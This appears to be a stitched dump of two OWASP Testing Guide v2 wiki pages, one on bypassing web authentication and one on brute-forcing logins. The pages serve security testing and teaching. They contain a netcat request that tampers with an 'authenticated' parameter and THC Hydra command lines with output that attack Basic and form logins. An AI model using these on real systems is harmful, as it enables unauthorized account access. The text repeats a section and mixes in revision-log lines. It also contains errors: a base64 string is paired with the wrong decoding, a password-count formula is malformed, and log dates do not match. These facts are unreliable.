Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed. 
In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==
 
Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase. 
Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more. 
'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language. 
In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.

 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Session Fixation
* Sql Injection

 
== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web

application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Sql Injection

 
=== Bypassing authentication schema methods ===

'''Direct page request'''

Several web applications implement access control only inside the login page,

otherwise if a user requests directly a different page in the designed protected

area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a

succesful login upon fixed value parameters.

Therefore a user could modify these parameters to gain access to the protected areas

without providing valid credentials.
<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session Issues'''
* Session ID Prediction
Many web applications manage authentication using session identification

values(SESSION ID). Therefore if Session ID generation is predictable a malicious

user could be able to find a valid session ID and gain unauthorized access to the

application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy

for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's

possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''
SQL Injection is a widely known range of techniques. We are not going to describe

this technique into detail, because it's possible to find many dedicated paragraphs

in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass

the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the

reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
'''Testing for Topic X vulnerabilities:''' 
... 
'''Result Expected:''' 
... 
== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:17:15Z

Alombardini: /* References */

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:16:23Z

Alombardini: /* References */

Testing for Brute Force (OWASP-AT-004)

2006-11-11T14:14:16Z

Alombardini: /* References */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
Brute-forcing consists of systematically enumerating all possible candidates for the solution and checking whether each candidate satisfies the problem's statement. In web application testing, the problem we are going to face with the most is very often connected with the need of having a valid user account to access the inner part of the application.
Therefore we are going to check different types of authentication schema and the effectiveness of different brute-force attacks.
 

== Description of the Issue ==
 
A great majority of web applications provide a way for users to authenticate themselves. By having knowledge of user's identity it's possible to create protected areas or more generally, to have the application behave differently upon the logon of different users.
Actually there are several methods for a user to authenticate to a system like certificates, biometric devices, OTP (One Time Password) tokens, but in web application we usually find a combination of user ID and password. Therefore it's possible to carry out an attack to retrieve a valid user account and password, by trying to enumerate many (ex. dictionary attack) or the whole space of possible candidates.

After a successful bruteforce attack, a malicious user could have access to:

* Confidential information / data;
** Private sections of a web application, could disclose confidential documents, user's profile data, financial status, bank details, user's relationships, etc..

* Administration panels;
** These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc..

* Availability of further attack vectors;
** Private sections of a web application could hide dangerous vulnerabilities and contain advanced functionalities not available to public users.

 

== Black Box testing and example ==
To leverage different bruteforcing attacks it's important to discover the type of authentication method used by the application, because the techniques and the tools to be used may change.

=== Discovery Authentication Methods ===

Unless an entity decides to apply a sophisticated web authentication, the two most commonly see methods are as follows:

* HTTP Authentication;
** Basic Access Authentication
** Digest Access Authentication
* HTML Form-based Authentication;

The following sections provide some good information on identifying the authentication mechanism employed during a blackbox test.

'''HTTP authentication'''

There are two native HTTP access authentication schemes available to an organisation – Basic and Digest.

* Basic Access Authentication

Basic Access Authentication assumes the client will identify themselves with a login name ("owasp") and password ("password"). When the client browser initially accesses a site using this scheme, the web server will reply with a 401 response containing a “WWW-Authenticate” tag containing a value of “Basic” and the name of the protected realm (e.g. WWW-Authenticate: Basic realm="wwwProtectedSite”). The client browser will then prompt the user for their login name and password for that realm. The client browser then responds to the web server with an “Authorization” tag, containing the value “Basic” and the base64-encoded concatenation of the login name, a colon, and the password (e.g. Authorization: Basic b3dhc3A6cGFzc3dvcmQ=). Unfortunately, the authentication reply can be easily decrypted should an attacker sniff the transmission.

Request and Response Test:

1. Client sends standard HTTP request for resource:
<pre>
GET /members/docs/file.pdf HTTP/1.1
Host: target
</pre>

2. The web server states that the requested resource is located in a protected directory.

3. Server Sends Response with HTTP 401 Authorization Required:

<pre>
HTTP/1.1 401 Authorization Required
Date: Sat, 04 Nov 2006 12:52:40 GMT
WWW-Authenticate: Basic realm="User Realm"
Content-Length: 401
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
</pre>

4. Browser displays challenge pop-up for username and password data entry.

5. Client Resubmits HTTP Request with credentials included:

<pre>
GET /members/docs/file.pdf HTTP/1.1
Host: target
Authorization: Basic b3dhc3A6cGFzc3dvcmQ=
</pre>

6. Server compares client information to its credentials list.

7. If the credentials are valid the server sends the requested content. If authorization fails the server resends HTTP status code 401 in the response header. If the user clicks Cancel the browser will likely display an error message.

<pre>
The string QWRtaW46Zm9vYmFy== symply base64 decodes as follows:
Base64 Decoded : owasp:password
</pre>

* Digest Access Authentication

Digest Access Authentication expands upon the security of Basic Access Authentication by using a one-way cryptographic hashing algorithm (MD5) to encrypt authentication data and, secondly, adding a single use (connection unique) “nonce” value set by the web server. This value is used by the client browser in the calculation of a hashed password response. While the password is obscured by the use of the cryptographic hashing and the use of the nonce value precludes the threat of a replay attack, the login name is submitted in clear text.

Request and Response Test:

1. Here is an example of the initial Response header when handling an HTTP Digest target:

<pre>
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="OwaspSample",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
opaque="0000000000000000", \
stale=false,
algorithm=MD5,
qop="auth"
</pre>

2. The Subsequent response headers with valid credentials would look like this:

<pre>
GET /example/owasp/test.asmx HTTP/1.1
Accept: */*
Authorization: Digest username="owasp",
realm="OwaspSample",
qop="auth",
algorithm="MD5",
uri="/example/owasp/test.asmx",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
nc=00000001,
cnonce="c51b5139556f939768f770dab8e5277a",
opaque="0000000000000000",
response="2275a9ca7b2dadf252afc79923cd3823"
</pre>

'''HTML Form-based Authentication'''

However, while both HTTP access authentication schemes may appear suitable for commercial use over the Internet, particularly when used over an SSL encrypted session, many organisations have chosen to utilise custom HTML and application level authentication procedures in order to provide a more sophisticated authentication procedure.

Source code taken from a HTML form:

<pre>
<form method="POST" action="login">
<input type="text" name"username">
<input type="password" name="password">
</form>
</pre>

=== Bruteforce Attacks ===

After having listed the different types of authentication methods in web application, we will explain several bruteforce attacks which can be carried out.

* Dictionary Attack
Dictionary-based attacks consist of automated scripts and tools that will try to guess username and passwords from a dictionary file. Dictionary file can be tuned and compiled to cover words probably used by the owner of the account a malicious user is going to attack.
The attacker can previously perform some investigations to understand user's interests, or build a list of all unique words available on the website.

* Search Attacks
Search attacks will try to cover all possible combination of a given character set and a given password lenght range. This kind of attack is very slow because the space of possible candidates is quite big. For example given a known user id, the total number of passwords to try up to 8 characters in lenght is equal to 26^(8!) in a lower alpha charset (more than 200 billions of different passwords!).

* Rule-based search attacks
To increase combination space coverage without slowing too much the process it's suggested to create good rules to generate candidates.
For example "John the Ripper" can generate password variations from part of the username or modify through a preconfigured mask words in input (e.g. 1st round "pen" --> 2nd round "p3n" --> 3rd round "p3np3n").

'''Bruteforcing HTTP Basic Authentication'''

<pre>
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-head on port 80
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h
[80][www] host: 10.0.0.1 login: owasp password: password
[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34

raven@blackbox /hydra $
</pre>

'''Bruteforcing HTML Form Based Authentication'''

<pre>
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form
"/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-post-form on port 443
[STATUS] attack finished for wiki.intranet (waiting for childs to finish)
[443] host: 10.0.0.1 login: owasp password: password
[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34

raven@blackbox /hydra $
</pre>

== Gray Box testing and example ==
TD - Having Partial knowledge of password and account details (e.g. lenght or charset)

TD - Memory Trade Off Attacks

 

== References ==
'''Whitepapers''' 

'''Tools''' 
* THC Hydra: http://www.thc.org/thc-hydra/
* John the Ripper: http://www.openwall.com/john/

 

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Brute Force (OWASP-AT-004)

2006-11-04T14:45:53Z

Alombardini: /* Discovery Authentication Methods */

Testing for Brute Force (OWASP-AT-004)

2006-11-04T14:45:15Z

Alombardini: /* Discovery Authentication Methods */